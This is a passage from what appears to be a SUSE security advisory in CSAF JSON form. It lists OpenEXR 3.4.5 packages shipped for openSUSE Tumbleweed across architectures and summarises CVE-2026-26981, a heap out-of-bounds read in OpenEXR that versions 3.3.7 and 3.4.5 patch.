"category": "product_version",
"name": "openexr-3.4.5-1.1.x86_64",
"product": {
"name": "openexr-3.4.5-1.1.x86_64",
"product_id": "openexr-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "openexr-devel-3.4.5-1.1.x86_64",
"product": {
"name": "openexr-devel-3.4.5-1.1.x86_64",
"product_id": "openexr-devel-3.4.5-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "openexr-doc-3.4.5-1.1.x86_64",
"product": {
"name": "openexr-doc-3.4.5-1.1.x86_64",
"product_id": "openexr-doc-3.4.5-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.aarch64"
},
"product_reference": "libIex-3_4-33-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.ppc64le"
},
"product_reference": "libIex-3_4-33-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.s390x"
},
"product_reference": "libIex-3_4-33-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.x86_64"
},
"product_reference": "libIex-3_4-33-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-32bit-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.aarch64"
},
"product_reference": "libIex-3_4-33-32bit-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-32bit-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.ppc64le"
},
"product_reference": "libIex-3_4-33-32bit-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-32bit-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.s390x"
},
"product_reference": "libIex-3_4-33-32bit-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-32bit-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-32bit-3.4.5-1.1.x86_64"
},
"product_reference": "libIex-3_4-33-32bit-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
},
"product_reference": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
},
"product_reference": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
},
"product_reference": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIex-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
},
"product_reference": "libIex-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.aarch64"
},
"product_reference": "libIlmThread-3_4-33-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.ppc64le"
},
"product_reference": "libIlmThread-3_4-33-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.s390x"
},
"product_reference": "libIlmThread-3_4-33-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-3.4.5-1.1.x86_64"
},
"product_reference": "libIlmThread-3_4-33-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.aarch64"
},
"product_reference": "libIlmThread-3_4-33-32bit-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.ppc64le"
},
"product_reference": "libIlmThread-3_4-33-32bit-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.s390x"
},
"product_reference": "libIlmThread-3_4-33-32bit-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-32bit-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-32bit-3.4.5-1.1.x86_64"
},
"product_reference": "libIlmThread-3_4-33-32bit-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
},
"product_reference": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
},
"product_reference": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
},
"product_reference": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
},
"product_reference": "libIlmThread-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.aarch64"
},
"product_reference": "libOpenEXR-3_4-33-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.ppc64le"
},
"product_reference": "libOpenEXR-3_4-33-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.s390x"
},
"product_reference": "libOpenEXR-3_4-33-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-3.4.5-1.1.x86_64"
},
"product_reference": "libOpenEXR-3_4-33-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.aarch64"
},
"product_reference": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.ppc64le"
},
"product_reference": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.s390x"
},
"product_reference": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-32bit-3.4.5-1.1.x86_64"
},
"product_reference": "libOpenEXR-3_4-33-32bit-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
},
"product_reference": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
},
"product_reference": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
},
"product_reference": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
},
"product_reference": "libOpenEXR-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.aarch64"
},
"product_reference": "libOpenEXRCore-3_4-33-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.ppc64le"
},
"product_reference": "libOpenEXRCore-3_4-33-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.s390x"
},
"product_reference": "libOpenEXRCore-3_4-33-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-3.4.5-1.1.x86_64"
},
"product_reference": "libOpenEXRCore-3_4-33-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.aarch64"
},
"product_reference": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.ppc64le"
},
"product_reference": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.s390x"
},
"product_reference": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.x86_64"
},
"product_reference": "libOpenEXRCore-3_4-33-32bit-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
},
"product_reference": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
},
"product_reference": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
},
"product_reference": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
},
"product_reference": "libOpenEXRCore-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.aarch64"
},
"product_reference": "libOpenEXRUtil-3_4-33-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.ppc64le"
},
"product_reference": "libOpenEXRUtil-3_4-33-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.s390x"
},
"product_reference": "libOpenEXRUtil-3_4-33-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-3.4.5-1.1.x86_64"
},
"product_reference": "libOpenEXRUtil-3_4-33-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.aarch64"
},
"product_reference": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.ppc64le"
},
"product_reference": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.s390x"
},
"product_reference": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.x86_64"
},
"product_reference": "libOpenEXRUtil-3_4-33-32bit-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.aarch64"
},
"product_reference": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le"
},
"product_reference": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.s390x"
},
"product_reference": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.x86_64"
},
"product_reference": "libOpenEXRUtil-3_4-33-x86-64-v3-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-3.4.5-1.1.aarch64"
},
"product_reference": "openexr-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-3.4.5-1.1.ppc64le"
},
"product_reference": "openexr-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-3.4.5-1.1.s390x"
},
"product_reference": "openexr-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-3.4.5-1.1.x86_64"
},
"product_reference": "openexr-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-devel-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.aarch64"
},
"product_reference": "openexr-devel-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-devel-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.ppc64le"
},
"product_reference": "openexr-devel-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-devel-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.s390x"
},
"product_reference": "openexr-devel-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-devel-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-devel-3.4.5-1.1.x86_64"
},
"product_reference": "openexr-devel-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-doc-3.4.5-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.aarch64"
},
"product_reference": "openexr-doc-3.4.5-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-doc-3.4.5-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.ppc64le"
},
"product_reference": "openexr-doc-3.4.5-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-doc-3.4.5-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.s390x"
},
"product_reference": "openexr-doc-3.4.5-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "openexr-doc-3.4.5-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:openexr-doc-3.4.5-1.1.x86_64"
},
"product_reference": "openexr-doc-3.4.5-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-26981",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-26981"
}
],
"notes": [
{
"category": "general",
"text": "OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.3.0 through 3.3.6 and 3.4.0 through 3.4.4, a heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`. Versions 3.3.7 and 3.4.5 contain a patch.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.aarch64",
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.ppc64le",
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.s390x",
"openSUSE Tumbleweed:libIex-3_4-33-3.4.5-1.1.x86_64",
